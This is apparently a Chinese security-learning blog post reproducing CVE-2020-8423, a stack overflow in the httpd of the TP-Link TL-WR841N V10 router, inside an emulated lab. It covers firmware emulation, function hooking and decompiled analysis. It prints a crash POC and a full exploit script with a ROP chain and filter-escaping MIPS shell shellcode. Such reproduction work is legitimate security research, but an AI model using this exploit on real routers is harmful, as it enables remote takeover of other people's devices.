这个漏洞复现学习到的姿势点挺多的:

  • 通过 hook 关键函数修复固件运行环境
  • 编写 shellcode 的指令逃逸

简介

漏洞编号:CVE-2020-8423

漏洞描述:httpd获取参数时的栈溢出导致了覆盖返回地址shellcode执行

固件获取

漏洞设备固件版本:TP-LINK TL-WR841N V10 。

国内站点没有 V10 版本固件,美丽国情况一样,换去加拿大站点找到:

https://www.tp-link.com/ca/support/download/tl-wr841n/v10/

这里记录一下国内 tplink 官网上面的固件和国际版本有点区别,binwalk -Me 出来是很多压缩包,用的是 wind river 系统 ,需要进一步处理才能提取到二进制文件。

http://www.tearorca.top/index.php/2020/05/13/tp-link%e4%b8%adwind-river%e7%b3%bb%e7%bb%9f%e8%b7%af%e7%94%b1%e5%99%a8%e5%88%9d%e6%ad%a5%e5%88%86%e6%9e%90%ef%bc%88%e5%8d%8a%e6%88%90%e5%93%81%ef%bc%89/

固件模拟

attify 模拟

测试 attify 能不能仿真而已,与复现初衷不一致,所以没有采用这种方法,最后采用方法在第二小节

试了一下用 attify v3.0 FAT 能成功模拟起来,用 ssh 转发流量就能在主机上设置代理后就能访问到:

ssh -D 7878 [email protected]

SSH流量转发的姿势

image-20210405231003458

burpsuite 访问就在 user options 打开 socks proxy 设置代理 127.0.0.1 7878 ,浏览器代理更换为 brup 。

image-20210413172146367

但复现这个漏洞是为了学习 hook 函数修复固件运行环境,所以还是放弃 FAT 模拟,选择用 qemu 系统模式模拟运行。

qemu 模拟

mips 大端程序,自动到 https://people.debian.org/~aurel32/qemu/mips/ 下载内核与磁盘文件。

  1. 创建虚拟网卡

    1
    2
    sudo tunctl -t tap0
    sudo ifconfig tap0 192.168.0.2/24 up
  2. 启动虚拟机

    1
    sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
  3. 设置虚拟机网卡 ip

    1
    ifconfig eth0 192.168.0.1/24 up
  4. 将固件的 squashfs-root 文件夹传输到虚拟机

    1
    scp -r ./squashfs-root [email protected]:~/
  5. 在虚拟机中挂载 devproc

    1
    2
    mount -o bind /dev ./squashfs-root/dev
    mount -t proc /proc ./squashfs-root/proc
  6. 启动 shell

    1
    chroot squashfs-root sh

    启动固件 web 服务

    1
    ./usr/bin/httpd

    能运行起来,启动后新建了一个 192.168.0.1 的网桥,重新修改 eth0 ip 之后无法访问 web 界面,接下来 hook 函数修复运行环境。

hook 修复运行环境

https://ktln2.org/2020/03/29/exploiting-mips-router/

hook system 和 fork 函数:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

int system(const char *command){
printf("HOOK:system(\"%s\")",command);
return 1337;
}
int fork(void){
return 1337;
}

编译指令:

1
mips-linux-gnu-gcc -shared -fPIC hook.c -o hook.so

LD_PRELOAD="/hook.so" /usr/bin/httpd 运行起来可能报错缺少 libc.so.6 ,需要在固件 lib 目录将 libc.so.6 连接到对应 so 文件:

复现文章中提到可能还会缺少 ld.so.1 ,复现时没有遇到,如果提示缺少一样链接到对应 so 文件即可

后面换成用 buildroot 的交叉编译链编译的 hook 文件就没有出现这个问题

image-20210406105356493

1
2
3
//path: /squashfs-root/lib
ln -s ld-uClibc-0.9.30.so ld.so.1
ln -s ld-uClibc-0.9.30.so libc.so.6

image-20210406113729257

再次运行之后可能会遇到报错 SIGSEGV ,经过排查和其他师傅提到过的可能是 apt 安装的交叉编译链 mips-linux-gnu-gcc 不完善导致编译的 hook.so 有问题。换成用 buildroot 编译安装的 mips-linux-gcc 的 hook 文件,问题解决。

1
2
//path:~/buildroot/output/host/bin
./mips-linux-gcc -shared -fPIC hook.c -o hook.so
1
LD_PRELOAD="/hook.so" /usr/bin/httpd

漏洞分析

问题在 stringModify() 这个函数,这个函数是对 <>\/ 符号进行添加转义符 \ 的操作;将前一个为\r\n 后一个不是 \r\n的字符串替换为 html 的换行 <br>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __fastcall stringModify(_BYTE *dest, int len, int a3)
{
bool v3; // dc
char *v4; // $a2
int v5; // $a3
int v6; // $v0
int v7; // $v1

if ( !dest )
return -1;
v3 = a3 == 0;
v4 = (char *)(a3 + 1);
if ( v3 )
return -1;
v5 = 0;
while ( 1 )
{
v7 = *(v4 - 1);
if ( !*(v4 - 1) || v5 >= len )
break;
if ( v7 == '/' ) // /==\\
goto LABEL_18;
if ( v7 >= '0' )
{
if ( v7 == '>' || v7 == '\\' ) // >==\\
// //==\\
{
LABEL_18:
*dest = '\\';
LABEL_19:
++v5;
++dest;
}
else if ( v7 == '<' ) // <==\\
{
*dest = '\\';
goto LABEL_19;
}
LABEL_20:
++v5;
*dest++ = *(v4 - 1);
goto LABEL_21;
}
if ( v7 != '\r' )
{
if ( v7 == '"' ) // "==\\
goto LABEL_18;
if ( v7 != '\n' )
goto LABEL_20;
}
v6 = *v4;
if ( v6 != '\r' && v6 != '\n' )
{
qmemcpy(dest, "<br>", 4); // \r、\n替换为<br>
dest += 4;
}
++v5;
LABEL_21:
++v4;
}
*dest = 0;
return v5;
}

问题就出在 \r\n的替换逻辑上,原来 1 字节被处理为 4 字节。

交叉引用向上查找到上层函数 writePageParamSet() ,传入 stringModify 用于存放处理结果的是一个 char v8[512] ,是一个栈上的空间,writePageParamSet 是一个非叶子函数,返回地址存放在栈上,存在栈溢出的可能性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//a1 : html 输出内容存储变量
//a2 : 格式化字符串
//a3 : ssid
int __fastcall writePageParamSet(int a1, int a2, const char *a3)
{
int v6; // $a2
int result; // $v0
char v8[512]; // [sp+18h] [-200h] BYREF

if ( !a3 )
HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178", "Never Write NULL to page, %s, %d", "writePageParamSet", 178);
if ( strcmp(a2, "\"%s\",", a3) )
{
result = strcmp(a2, "%d,", v6);
if ( !result )
result = httpPrintf(a1, (const char *)a2, *(_DWORD *)a3);
}
else
{
if ( stringModify(v8, 512, (int)a3) < 0 ) // overflow
{
printf("string modify error!");
v8[0] = 0;
}
result = httpPrintf(a1, (const char *)a2, v8);
}
return result;
}

writePageParamSet 交叉调用查询上层函数 a3 传入内容是怎么处理。上层函数地址是 0x00457574 ,ida 没有分析出来函数,跳转到这个地址,然后快捷键 P 或者右键 create function ,新建函数再 F5 即可。

Sub_00457574 httpGetEnv(a1, “ssid”) 提取出 ssid 存放到 v79 里面:

image-20210411152035550

然后就传递给 writePageParamSet :

image-20210411152109406

验证漏洞

1
2
export LD_PRELOAD="/hook.so"
./gdbserver 0.0.0.0:2333 /usr/bin/httpd

从程序开始调试,gdb 找不到函数,应该是类似 ida 中分析不出来的函数,不知道是不是 hook 之后导致的。调试一直 c 错误提示了很多次都还是进不来 web 界面,最后采用 gdbserver attach 进行调试,因为后台 URL 有个随机路径,需要在 web 端登录后查看

image-20210413234535498

  1. 运行 httpd

    1
    LD_PRELOAD="/hook.so" /usr/bin/httpd
  2. 查看进程 PID

    1
    pstree -p

    image-20210415003957329

  3. 获取 url 随机路径

    登录账号,获取随机路径,免得 attach 之后调很久才返回 web 界面,cookie 固定没变获取一次就行

    不在一个网段的需要 ssh 转发一下流量

    ssh -D 7878 192.168.0.1

    image-20210415004908740

  4. 启动 gdbserver

    1
    ./gdbserver 0.0.0.0:1234 --attch 2529
  5. 验证 URL 字符串替换规则

    ssid 先进行 unquote 解码,python request 发送数据再进行编码,这样程序接收到才是我们预期的 \n

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    #python3
    import requests
    import urllib
    session = requests.Session()
    session.verify = False
    def exp(path,cookie):
    headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
    "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))
    }
    payload = 'a'*0x8+"/%0A"*0x8
    params = {
    "mode":"1000",
    "curRegion":"1000",
    "chanWidth":"100",
    "channel":"1000",
    "ssid":urllib.request.unquote(payload)
    }
    url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
    resp = session.get(url,params=params,headers=headers,timeout=10)
    print (resp.text)
    exp("QWKQGMIBVQHESHIB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

    断点打在 stringModify 调用处:0x0043BC24 ,多 c 几次就到处理 ssid 部分。

    image-20210415161311299

    /%0A 被转换为 4 字节的 \\/<br>

POC

执行后会报段错误,原因是 writePageParamSet 函数返回地址被修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import urllib
session = requests.Session()
session.verify = False
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))
}
payload="/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload)
}
url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("HPAMPJEASUZYOYGB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

利用漏洞

获取偏移

为了方便查看在 0x0043BC240x0043bca8 下断点,前者观察 ssid 传入值是否符合预期,后者观察 writePageParamSet 返回上层函数时的寄存器状态。

image-20210415220216693

填充 "/%0A"*0x55+'aa' 之后,依次可以控制 s0-s02 、ra 寄存器的值。

shellcode 调用框架

之前做 DVRF 记录过,mips 存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。

mips 调用 shellcode 构造模板:

https://www.cnblogs.com/hac425/p/9416864.html

https://www.anquanke.com/post/id/179510

整体流程图:

图源:https://www.anquanke.com/post/id/179510

构造的调用 shellcode 框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
base = 0x77471000
sleep_addr = base+0x0053ca0
rop1=base+0x00055c60
rop2=base+0x00037470
rop3=base+0x0000e904
rop4=base+0x000374d8

payload = b"/%0A"*0x55 + b"aa"
payload += b"s0s0"
payload += p32(rop2)
payload += p32(sleep_addr)
payload += p32(rop1)

payload += b'a'*0x28
payload += p32(rop4)
payload += b'a'*0x4
payload += p32(rop3)
payload += b'a'*0x18
payload += shellcode

shellcode 改造

程序会对 ssid 输入内容在 stringModify 进行过滤,导致 shellcode 中的 lui 指令的字节码 0x3c(<) 被替换,所以需要对 shellcode 进行改造。

image-20210416155734163

这里用到一个新学的方法指令逃逸 。使用一些无关指令,如填充ori t3,t3,0xff3c指令时,3c 会被编码成 5c3c,那么这时候3c就逃逸到下一个内存空间中,这个 3c 就可以继续使用了(针对于开头为 3c 的汇编指令)。

  1. 类似于 DVRF 中,找一个无用寄存器,填充指令 ori $t1,$t1,0xff3c ,对应的汇编机器码:\x35\x29\xFF\x3C

  2. 汇编中的 \x3c 进入 stringModify 被替换为 \x5c\x3c\x3x 就逃逸到下一个内存空间(mips 指令固定 4 字节)

    1
    2
    3
    4
    5
    6
    \x35\x29\xFF\x3C
    ||
    ||
    VV
    \x35\x29\xFF\x5c
    \x3C
  3. 在下一个内存空间填充剩下 3 字节组成预期指令。假设预期指令:lui $t6, 0x7a69,对应汇编:\x3c\x0e\x7a\x69 ,那就是填入 \x0e\x7a\x69

    1
    2
    3
    4
    5
    6
    7
    \x35\x29\xFF\x3C	#ori $t1,$t1,0xff3c
    \x0e\x7a\x69
    ||
    ||
    VV
    \x35\x29\xFF\x5c #ori $t1,$t1,0xff5c
    \x3C\x0e\x7a\x69 #lui $t6, 0x7a69

shellcode 改造后,注意 payload 长度有没有超过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
from pwn import *
import urllib
session = requests.Session()
session.verify = False

context.binary = "./squashfs-root/usr/bin/httpd"
context.endian = "big"
context.arch = "mips"

base = 0x77471000
sleep_addr = base+0x0053ca0
rop1=base+0x00055c60
rop2=base+0x00037470
rop3=base+0x0000e904
rop4=base+0x000374d8

shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"

payload = "/%0A"*0x55 + "aa"
payload += "s0s0"
payload += p32(rop2)
payload += p32(sleep_addr)
payload += p32(rop1)

payload += b'a'*0x28
payload += p32(rop4)
payload += b'a'*0x4
payload += p32(rop3)
payload += b'a'*0x18
payload += shellcode

print(len(payload))

def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))
}
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.unquote(payload)#urllib.request.unquote(payload)
}
url="http://192.168.0.1:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("CAFWYCFAVKWYRUKB","%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

qemu 模拟的原因,nc 连上去后运行不了:

image-20210416151231760

参考文章

http://www.tearorca.top/index.php/2020/04/21/cve-2020-8423tplink-wr841n-%E8%B7%AF%E7%94%B1%E5%99%A8%E6%A0%88%E6%BA%A2%E5%87%BA

https://ktln2.org/2020/03/29/exploiting-mips-router/

https://www.anquanke.com/post/id/203486